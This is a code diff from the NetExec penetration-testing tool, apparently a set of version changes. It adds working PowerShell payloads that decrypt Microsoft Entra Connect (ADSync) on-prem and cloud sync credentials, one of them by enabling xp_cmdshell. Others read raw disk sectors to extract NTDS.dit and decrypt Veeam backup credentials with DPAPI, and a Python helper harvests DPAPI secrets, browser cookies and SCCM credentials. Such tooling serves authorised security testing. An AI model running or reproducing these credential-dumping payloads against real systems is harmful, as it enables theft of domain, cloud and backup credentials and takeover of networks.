+# Get keyset_id, instance_id, entropy
+$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
+if (-not $out) { return }
+$key_id, $instance_id, $entropy = $out
+
+# Get and decrypt on-prem AD credentials
+$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
+if (-not $out) { return }
+$on_prem, $c = $out
+$pd = decrypter $c $key_id $instance_id $entropy
+
+# Get and decrypt Entra ID sync credentials
+$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
+if (-not $out) { return }
+$entra, $c = $out
+$qd = decrypter $c $key_id $instance_id $entropy
+
+
+
+# Extract the credentials from the decrypted XML configurations
+$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
+$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
+$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
+
+Write-Host "On-prem Domain: $($domain.Domain)"
+Write-Host "On-prem Username: $($username.Username)"
+Write-Host "On-prem Password: $($pw.Password)"
+
+# Extract the Entra ID sync credentials
+$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
+$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
+Write-Host "Entra ID Username: $($entra_user)"
+Write-Host "Entra ID Password: $($entra_pw.Password)"

nxc/data/msol_dump/msol_dump.ps1

@@ -1,65 +0,0 @@
-$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
-$db=@(cmd /c $sqlbin info | findstr /i ADSy)
-
-$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
-
-try {
-    $client.Open()
-} catch {
-    Write-Host "[!] Could not connect to localdb..."
-    return
-}
-
-Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
-$reader = $cmd.ExecuteReader()
-if ($reader.Read() -ne $true) {
-    Write-Host "[!] Error querying mms_server_configuration"
-    return
-}
-
-$key_id = $reader.GetInt32(0)
-$instance_id = $reader.GetGuid(1)
-$entropy = $reader.GetGuid(2)
-$reader.Close()
-
-Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
-$reader = $cmd.ExecuteReader()
-if ($reader.Read() -ne $true) {
-    Write-Host "[!] Error querying mms_management_agent"
-    return
-}
-
-$config = $reader.GetString(0)
-$crypted = $reader.GetString(1)
-$reader.Close()
-
-Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
-$reader = $cmd.ExecuteReader()
-
-$decrypted = [string]::Empty
-
-while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
-    $decrypted += $reader.GetString(0)
-}
-
-if ($decrypted -eq [string]::Empty) {
-    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
-    return
-}
-
-$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
-$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
-$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
-
-Write-Host "Domain: $($domain.Domain)"
-Write-Host "Username: $($username.Username)"
-Write-Host "Password: $($password.Password)"

nxc/data/ntds-dump-raw/ntds-dump-raw.ps1

@@ -0,0 +1,95 @@
+Add-Type -TypeDefinition @"
+using System;
+using System.Runtime.InteropServices;
+using Microsoft.Win32.SafeHandles;
+
+public class CNativeMethods
+{
+    public const uint GENERIC_READ = 0x80000000;
+    public const uint OPEN_EXISTING = 3;
+    public const uint FILE_SHARE_READ = 0x00000001;
+    public const uint FILE_SHARE_WRITE = 0x00000002;
+    public const uint FILE_SHARE_DELETE = 0x00000004;
+
+    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+    public static extern SafeFileHandle CreateFile(
+        string lpFileName, 
+        uint dwDesiredAccess, 
+        uint dwShareMode, 
+        IntPtr lpSecurityAttributes, 
+        uint dwCreationDisposition, 
+        uint dwFlagsAndAttributes, 
+        IntPtr hTemplateFile
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool ReadFile(
+        SafeFileHandle hFile, 
+        byte[] lpBuffer, 
+        uint nNumberOfBytesToRead, 
+        out uint lpNumberOfBytesRead, 
+        IntPtr lpOverlapped
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool SetFilePointerEx(
+        SafeFileHandle hFile, 
+        long lDistanceToMove, 
+        out long lpNewFilePointer, 
+        uint dwMoveMethod
+    );
+}
+
+public enum EMoveMethod : uint
+{
+    Begin = 0,
+    Current = 1,
+    End = 2
+}
+"@
+Function read_disk{
+    $offset = [long]$args[0]
+    $size = [int]$args[1]
+    try {
+        $handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0", 
+            [CNativeMethods]::GENERIC_READ, 
+            [CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE, 
+            [IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
+
+        if ($handle.IsInvalid) {
+            throw "Failed to create file handle"
+        }
+
+        $moveToHigh = 0
+        $success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
+        if (-not $success) {
+            throw "Failed to set file pointer"
+        }
+
+        $buffer = New-Object byte[] $size
+        $bytesRead = 0
+        $success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
+
+        if (-not $success) {
+            throw "Failed to read file"
+        }
+
+        $memoryStream = New-Object System.IO.MemoryStream
+        $gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
+        $gzipStream.Write($buffer, 0, $buffer.Length)
+        $gzipStream.Close()
+
+        $compressedBytes = $memoryStream.ToArray()
+        $compressedBase64 = [Convert]::ToBase64String($compressedBytes)
+
+        Write-Output $compressedBase64
+    } catch {
+        Write-Error "An error occurred: $_"
+    }
+
+    finally {
+        if ($handle -and !$handle.IsInvalid) {
+            $handle.Close()
+        }
+    }
+}

nxc/data/nxc.conf

@@ -5,15 +5,21 @@ pwn3d_label = Pwn3d!
 audit_mode = 
 reveal_chars_of_pwd = 0
 log_mode = False
-ignore_opsec = True
 host_info_colors = ["green", "red", "yellow", "cyan"]
+check_guest_account = False
+display_dc = True
+skip_self = False
+exclude_hosts = []
 
 [BloodHound]
 bh_enabled = False
 bh_uri = 127.0.0.1
 bh_port = 7687
 bh_user = neo4j
-bh_pass = neo4j
+bh_pass = bloodhoundcommunityedition
+
+[BloodHound-CE]
+bhce_enabled = True
 
 [Empire]
 api_host = 127.0.0.1

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

@@ -1,9 +1,10 @@
 $SqlDatabaseName = "REPLACE_ME_SqlDatabase"
 $SqlServerName = "REPLACE_ME_SqlServer"
 $SqlInstanceName = "REPLACE_ME_SqlInstance"
+$b64Salt = "REPLACE_ME_b64Salt"
 
 #Forming the connection string
-$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
+$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
 $auth = "Integrated Security=SSPI;" #Local user
 $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
 $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
 	exit -1
 }
 
-$rows=($dataset.Tables | Select-Object -Expand Rows)
-if ($rows.count -eq 0) {
+$output=($dataset.Tables | Select-Object -Expand Rows)
+if ($output.count -eq 0) {
 	Write-Host "No passwords found!"
 	exit
 }
 
 Add-Type -assembly System.Security
-#Decrypting passwords using DPAPI
-$rows | ForEach-Object -Process {
-	$EnryptedPWD = [Convert]::FromBase64String($_.password)
-	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+# Decrypting passwords using DPAPI
+$output | ForEach-Object -Process {
+	$EncryptedPWD = [Convert]::FromBase64String($_.password)
 	$enc = [system.text.encoding]::Default
-	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
+
+	try {
+		# Decrypt password with DPAPI (old Veeam versions)
+		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+	} catch {
+		try{
+			# Decrypt password with salted DPAPI (new Veeam versions)
+			$salt = [System.Convert]::FromBase64String($b64Salt)
+			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
+			foreach ($byte in $EncryptedPWD)
+			{
+				$hex.AppendFormat("{0:x2}", $byte) > $null
+			}
+			$hex = $hex.ToString().Substring(74,$hex.Length-74)
+			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
+			for ($i = 0; $i -lt $hex.Length; $i += 2)
+			{
+				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
+			}
+			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
+			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+		}catch {
+			$pw_string = "COULD_NOT_DECRYPT"
+		}
+	}
+	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $pw_string
+	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $rows | Format-Table -HideTableHeaders | Out-String
+Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1

@@ -1,8 +1,9 @@
 $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
 $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
 $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
+$b64Salt = "REPLACE_ME_b64Salt"
 
-$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
+$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description  FROM credentials WHERE password != '';"
 $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
 
 if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
 	exit
 }
 
+# Decrypting passwords using DPAPI
 Add-Type -assembly System.Security
-#Decrypting passwords using DPAPI
 $output | ForEach-Object -Process {
-    $EnryptedPWD = [Convert]::FromBase64String($_.password)
-	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+	$EncryptedPWD = [Convert]::FromBase64String($_.password)
 	$enc = [system.text.encoding]::Default
-	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
+
+	try {
+		# Decrypt password with DPAPI (old Veeam versions)
+		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+	} catch {
+		try{
+			# Decrypt password with salted DPAPI (new Veeam versions)
+			$salt = [System.Convert]::FromBase64String($b64Salt)
+			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
+			foreach ($byte in $EncryptedPWD)
+			{
+				$hex.AppendFormat("{0:x2}", $byte) > $null
+			}
+			$hex = $hex.ToString().Substring(74,$hex.Length-74)
+			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
+			for ($i = 0; $i -lt $hex.Length; $i += 2)
+			{
+				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
+			}
+			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
+			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+		}catch {
+			$pw_string = "COULD_NOT_DECRYPT"
+		}
+	}
+	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $pw_string
+	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $output | Format-Table -HideTableHeaders | Out-String
+Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

nxc/database.py

@@ -0,0 +1,213 @@
+import configparser
+import ipaddress
+import platform
+import shutil
+import sys
+from os import mkdir
+from os.path import exists
+from os.path import join as path_join
+from pathlib import Path
+from threading import Lock
+
+from sqlalchemy import Table, create_engine, MetaData, func
+from sqlalchemy.exc import (
+    IllegalStateChangeError,
+    NoInspectionAvailable,
+    NoSuchTableError,
+)
+from sqlalchemy.orm import sessionmaker, scoped_session
+from nxc.loaders.protocolloader import ProtocolLoader
+from nxc.logger import nxc_logger
+from nxc.paths import WORKSPACE_DIR
+
+
+def create_db_engine(db_path):
+    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
+
+
+def open_config(config_path):
+    try:
+        config = configparser.ConfigParser()
+        config.read(config_path)
+    except Exception as e:
+        print(f"[-] Error reading nxc.conf: {e}")
+        sys.exit(1)
+    return config
+
+
+def get_workspace(config):
+    return config.get("nxc", "workspace")
+
+
+def set_workspace(config_path, workspace_name):
+    config = open_config(config_path)
+    config.set("nxc", "workspace", workspace_name)
+    write_configfile(config, config_path)
+    print(f"[*] Workspace set to {workspace_name}")
+
+
+def get_db(config):
+    return config.get("nxc", "last_used_db")
+
+
+def write_configfile(config, config_path):
+    with open(config_path, "w") as configfile:
+        config.write(configfile)
+
+
+def init_protocol_dbs(workspace_name, p_loader=None):
+    """Check for each protocol if the database exists, if not create it."""
+    if p_loader is None:
+        p_loader = ProtocolLoader()
+    protocols = p_loader.get_protocols()
+    for protocol in protocols:
+        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
+        proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
+
+        if not exists(proto_db_path):
+            print(f"[*] Initializing {protocol.upper()} protocol database")
+            db_engine = create_db_engine(proto_db_path)
+            protocol_object.database.db_schema(db_engine)
+            db_engine.dispose()
+
+
+def create_workspace(workspace_name, p_loader=None):
+    """
+    Create a new workspace with the given name.
+
+    Args:
+    ----
+        workspace_name (str): The name of the workspace.
+
+    Returns:
+    -------
+        None
+    """
+    if exists(path_join(WORKSPACE_DIR, workspace_name)):
+        print(f"[-] Workspace {workspace_name} already exists")
+    else:
+        print(f"[*] Creating {workspace_name} workspace")
+        mkdir(path_join(WORKSPACE_DIR, workspace_name))
+
+    init_protocol_dbs(workspace_name, p_loader)
+
+
+def delete_workspace(workspace_name):
+    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
+    print(f"[*] Workspace {workspace_name} deleted")
+
+
+def initialize_db():
+    if not exists(path_join(WORKSPACE_DIR, "default")):
+        create_workspace("default")
+
+    # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
+    init_protocol_dbs("default")
+
+
+def format_host_query(q, filter_term, HostsTable):
+    """One annoying thing is that if you search for an ip such as '10.10.10.5',
+    it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
+    """
+    # the FTP and SSH protocols call the column host instead of IP
+    # TODO: normalize these column names
+    if hasattr(HostsTable.c, "ip"):
+        ip_column = HostsTable.c.ip
+        nxc_logger.debug("Using 'ip' column for filtering")
+    elif hasattr(HostsTable.c, "host"):
+        ip_column = HostsTable.c.host
+        nxc_logger.debug("Using 'host' column for filtering")
+    else:
+        nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
+        return q
+
+    # first we check if its an ip address
+    try:
+        ipaddress.ip_address(filter_term)
+        nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
+        q = q.filter(ip_column == filter_term)
+    except ValueError:
+        nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
+        like_term = func.lower(f"%{filter_term}%")
+
+        # check if the hostname column exists for hostname searching
+        q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
+
+    return q
+
+
+class BaseDB:
+    def __init__(self, db_engine):
+        self.db_engine = db_engine
+        self.db_path = self.db_engine.url.database
+        self.protocol = Path(self.db_path).stem.upper()
+        self.metadata = MetaData()
+        self.reflect_tables()
+        session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
+
+        session = scoped_session(session_factory)
+        self.sess = session()
+        self.lock = Lock()
+
+    def reflect_tables(self):
+        raise NotImplementedError("Reflect tables not implemented")
+
+    def reflect_table(self, table):
+        with self.db_engine.connect():
+            try:
+                reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
+
+                # Check for column addition / deletion
+                reflected_columns = set(reflected_table.columns.keys())
+                orm_columns = {column.name for column in table.__table__.columns}
+                if reflected_columns != orm_columns:
+                    raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
+
+                # Check for constraint changes
+                reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
+                orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
+                if reflected_constraints != orm_constraints:
+                    raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
+
+                return reflected_table
+            except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
+                commands_platform = {
+                    "Windows": [
+                        f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
+                        f"del {self.db_path}"
+                    ],
+                    "Linux": [
+                        f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
+                        f"rm -f {self.db_path}"
+                    ]
+                }
+                copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
+                delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
+                nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
+                nxc_logger.debug(e)
+                nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
+                nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
+                nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
+                sys.exit()
+
+    def shutdown_db(self):
+        try:
+            self.sess.close()
+        # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
+        # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
+        # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
+        except IllegalStateChangeError as e:
+            nxc_logger.debug(f"Error while closing session db object: {e}")
+
+    def clear_database(self):
+        for table in self.metadata.sorted_tables:
+            self.db_execute(table.delete())
+
+    def db_execute(self, *args):
+        with self.lock:
+            res = self.sess.execute(*args)
+            return res.freeze()() if res.returns_rows else res
+
+    def get_keys(self, key_id=None, cred_id=None):
+        """Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
+        return []

nxc/first_run.py

@@ -3,23 +3,21 @@ from os.path import exists
 from os.path import join as path_join
 import shutil
 from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
-from nxc.nxcdb import initialize_db
+from nxc.database import initialize_db
 from nxc.logger import nxc_logger
 
 
 def first_run_setup(logger=nxc_logger):
-    if not exists(TMP_PATH):
-        mkdir(TMP_PATH)
-
     if not exists(NXC_PATH):
         logger.display("First time use detected")
         logger.display("Creating home directory structure")
         mkdir(NXC_PATH)
+    if not exists(TMP_PATH):
+        mkdir(TMP_PATH)
 
     folders = (
         "logs",
         "modules",
-        "protocols",
         "workspaces",
         "obfuscated_scripts",
         "screenshots",
@@ -29,13 +27,20 @@ def first_run_setup(logger=nxc_logger):
             logger.display(f"Creating missing folder {folder}")
             mkdir(path_join(NXC_PATH, folder))
 
-    initialize_db(logger)
+    log_subfolders = (
+        "sam",
+        "lsa",
+        "ntds",
+        "dpapi",
+    )
+    for subfolder in log_subfolders:
+        if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
+            logger.display(f"Creating missing folder logs/{subfolder}")
+            mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
+
+    initialize_db()
 
     if not exists(CONFIG_PATH):
         logger.display("Copying default configuration file")
         default_path = path_join(DATA_PATH, "nxc.conf")
         shutil.copy(default_path, NXC_PATH)
-
-    # if not exists(CERT_PATH):
-    #         if os.name != 'nt':
-    #         if e.errno == errno.ENOENT:

nxc/helpers/args.py

@@ -0,0 +1,41 @@
+from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
+from argparse import Action
+
+
+class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
+    def _get_help_string(self, action):
+        help_string = action.help
+        if "%(default)" not in action.help and action.default is not SUPPRESS:
+            defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
+            if (action.option_strings or action.nargs in defaulting_nargs) and action.default:  # Only add default info if it's not None
+                help_string += " (default: %(default)s)"  # NORUFF
+        return help_string
+
+
+class DefaultTrackingAction(Action):
+    def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
+        # Store the default value to check later
+        self.default_value = default
+        super().__init__(
+            option_strings, dest, default=default, required=required, **kwargs
+        )
+
+    def __call__(self, parser, namespace, values, option_string=None):
+        # Set an attribute to track whether the value was explicitly set
+        setattr(namespace, self.dest, values)
+        setattr(namespace, f"{self.dest}_explicitly_set", True)
+
+
+def get_conditional_action(baseAction):
+    class ConditionalAction(baseAction):
+        def __init__(self, option_strings, dest, **kwargs):
+            x = kwargs.pop("make_required", [])
+            super().__init__(option_strings, dest, **kwargs)
+            self.make_required = x
+
+        def __call__(self, parser, namespace, values, option_string=None):
+            for x in self.make_required:
+                x.required = True
+            super().__call__(parser, namespace, values, option_string)
+
+    return ConditionalAction

nxc/helpers/bloodhound.py

@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
             with driver.session().begin_transaction() as tx:
                 for user_info in users_owned:
                     distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
-                    domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
+                    domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
                     if not domain_query:
                         logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
                         _add_without_domain(user_info, tx, logger)
@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
                         _add_with_domain(user_info, domain, tx, logger)
         except AuthError:
             logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
-            return
         except ServiceUnavailable:
             logger.fail(f"Neo4J does not seem to be available on {uri}.")
-            return
         except Exception as e:
             logger.fail(f"Unexpected error with Neo4J: {e}")
-            return
-        driver.close()
+        finally:
+            driver.close()
 
 
 def _add_with_domain(user_info, domain, tx, logger):
@@ -70,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
         user_owned = f"{user_info['username']}@{domain}"
         account_type = "User"
 
-    result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
+    result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
 
     if len(result) == 0:
         logger.fail("Account not found in the BloodHound database.")
         return
     if result[0]["c"].get("owned") in (False, None):
         logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
-        result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
+        result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
         logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
 
 
@@ -89,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
         user_owned = user_info["username"]
         account_type = "User"
 
-    result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
+    result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
 
     if len(result) == 0:
         logger.fail("Account not found in the BloodHound database.")
@@ -99,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
         return
     elif result[0]["c"].get("owned") in (False, None):
         logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
-        result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
+        result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
         logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")

nxc/helpers/dpapi.py

@@ -0,0 +1,461 @@
+
+from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
+from dploot.lib.target import Target
+from dploot.triage.backupkey import BackupkeyTriage
+from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
+from dploot.triage.cng import CngTriage
+from dploot.triage.credentials import CredentialsTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
+from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
+from dploot.triage.vaults import VaultsTriage
+
+from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
+from nxc.helpers.logger import highlight
+
+
+def upgrade_to_dploot_connection(target, connection):
+    """
+    DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
+    This function gets the calling NXC protocol and tries reuse the already opened connection
+    on DPLoot directly. If not it opens up a new connection.
+    """
+    conn = None
+    protocol = target.protocol
+    try:
+        match protocol:
+            case "smb":
+                from dploot.lib.network.smb import DPLootSMBConnection
+                conn = DPLootSMBConnection(target)
+                if connection is not None:
+                    conn.smb_session = connection.conn
+                else:
+                    conn.connect()
+            case "wmi":
+                from dploot.lib.network.wmi import DPLootWMIConnection
+                conn = DPLootWMIConnection(target)
+                if connection is not None:
+                    conn.dcom = connection.dcom_conn
+                    conn.iWbemLevel1Login = connection.iWbemLevel1Login
+                else:
+                    conn.connect()
+            case "winrm":
+                from dploot.lib.network.winrm import DPLootWINRMConnection
+                conn = DPLootWINRMConnection(target)
+                if connection is not None:
+                    conn.conn = connection.conn
+                else:
+                    conn.connect()
+            case "mssql":
+                from dploot.lib.network.mssql import DPLootMSSQLConnection
+                conn = DPLootMSSQLConnection(target)
+                if connection is not None:
+                    conn.conn = connection.conn
+    except Exception as e:
+        connection.logger.debug(e)
+        return None
+
+    return conn
+
+
+class DPAPITriage:
+    """
+    DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
+    Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
+    it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
+    to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
+
+    To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
+
+    ```
+    @property
+    def dpapi_triage(self) -> DPAPITriage:
+        if self._dpapi_triage is not None:
+            return self._dpapi_triage
+        target = <dploot target creation>
+
+        self._dpapi_triage = DPAPITriage(self, target)
+        return self._dpapi_triage
+    ```
+
+    This way, every DPAPI related module will automaticaly work with the protocol
+
